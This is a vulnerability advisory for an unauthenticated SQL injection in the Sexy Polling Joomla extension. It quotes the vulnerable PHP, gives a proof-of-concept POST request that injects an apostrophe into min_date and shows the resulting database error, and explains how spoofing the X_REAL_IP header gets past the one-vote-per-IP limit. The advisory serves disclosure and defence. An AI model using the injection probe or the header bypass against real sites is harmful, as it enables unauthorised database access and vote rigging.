Identifier: AIT-SA-20220208-01
Target: Sexy Polling ( Joomla Extension)
Vendor: 2glux
Version: all versions below version 2.1.8
CVE: Not yet
Accessibility: Remote
Severity: Medium
Author: Wolfgang Hotwagner (Austrian Institute of Technology)
SUMMARY
VULNERABILITY DESCRIPTION
In the vote.php file, the POST parameters min_date and max_date are insufficiently checked and sanitized. An attacker can use these parameters to send payloads for sql injections.
In lines 74 and 75 in the site/vote.php code, the parameters are assigned without being checked:
$min_date_sent = isset($_POST['min_date']) ? $_POST['min_date'].' 00:00:00' : '';
$max_date_sent = isset($_POST['max_date']) ? $_POST['max_date'].' 23:59:59' : '';
These are later used unfiltered by the WHERE clause:
$query_toal = "SELECT
COUNT(sv.`id_answer`) total_count,
MAX(sv.`date`) max_date,
MIN(sv.`date`) min_date
FROM
`#__sexy_votes` sv
JOIN
`#__sexy_answers` sa ON sa.id_poll = '$polling_id'
AND
sa.published = '1'
WHERE
sv.`id_answer` = sa.id";
//if dates are sent, add them to query
if ($min_date_sended != '' && $max_date_sended != '')
$query_toal .= " AND sv.`date` >= '$min_date_sended' AND sv.`date` <= '$max_date_sended' ";
PROOF OF CONCEPT
To check a system for vulnerability, modify the POST request so that the min_date parameter contains a single apostrophe.
HTTP-Request:
POST /components/com_sexypolling/vote.php HTTP/1.1
Host: joomla-server.local
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
HTTP_X_REAL_IP: 1.1.1.1
Content-Length: 193
Origin: joomla-server.local
Connection: close
Referer: joomla-server.local/index.php/component/search/
Cookie: 3f7d6b4d84916c70a46aaf5501d04983=iuddgl57g75v5gruopdqh0cgd6
polling_id=1&answer_id[]=3&dateformat=digits&min_date=2021-12-07'&max_date=2021-12-14&country_name=-&country_code=-&city_name=-®ion_name=-&voting_period=24&ae9a061e2170d406fb817b9ec0c42918=1
The HTTP-Response contains a mysql error:
HTTP/1.1 500 Internal Server Error
Date: Wed, 15 Dec 2021 10:27:40 GMT
Server: Apache/2.4.41 (Ubuntu)
Set-Cookie: PHPSESSID=39p4ql2oj0b45opsf6p105tfcf; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-cache
Pragma: no-cache
Set-Cookie: sexy_poll_1=1639564060; expires=Thu, 16-Dec-2021 10:27:40 GMT; Max-Age=86400; path=/
Content-Length: 4768
Connection: close
Content-Type: application/json
<!DOCTYPE html>
<html lang="en-gb" dir="ltr">
<head>
<meta charset="utf-8" />
<title>Error: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '00:00:00' AND sv.`date` <= '2021-12-14 23:59:59'' at line 12</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link href="https://fonts.googleapis.com/css?family=Open+Sans" rel="stylesheet" />
BYPASSING LIMITS
Sexy polling limits votes to one vote per IP-address. This is also done in the source file site/vote.php:
//get ip address
$REMOTE_ADDR = null;
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { list($REMOTE_ADDR) = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); }
elseif(isset($_SERVER['HTTP_X_REAL_IP'])) { $REMOTE_ADDR = $_SERVER['HTTP_X_REAL_IP']; }
elseif(isset($_SERVER['REMOTE_ADDR'])) { $REMOTE_ADDR = $_SERVER['REMOTE_ADDR']; }
else { $REMOTE_ADDR = 'Unknown'; }
$ip = $REMOTE_ADDR;
We can bypass this limitation by changing the header „ HTTP_X_REAL_IP“ for every single request.
VULNERABLE VERSIONS
All versions below version 2.1.8
TESTED VERSIONS
Sexy Polling ( Joomla Extension) 2.1.7
IMPACT
An unauthenticated attacker could inject and execute SQL commands on the database.
MITIGATION
Sexy Polling 2.1.8 fixed that issue
VENDOR CONTACT TIMELINE
We would like to note that the communication about this issue was weak. The contact-form of the maintainer of sexy_polling was broken and there was no other contact published. The Joomla Security Strike Team let us know that they will investigate, but they did not send any updates about the progress.
ADVISORY URL
WOLFGANG HOTWAGNER
Research Engineer /
Security & Communication Technologies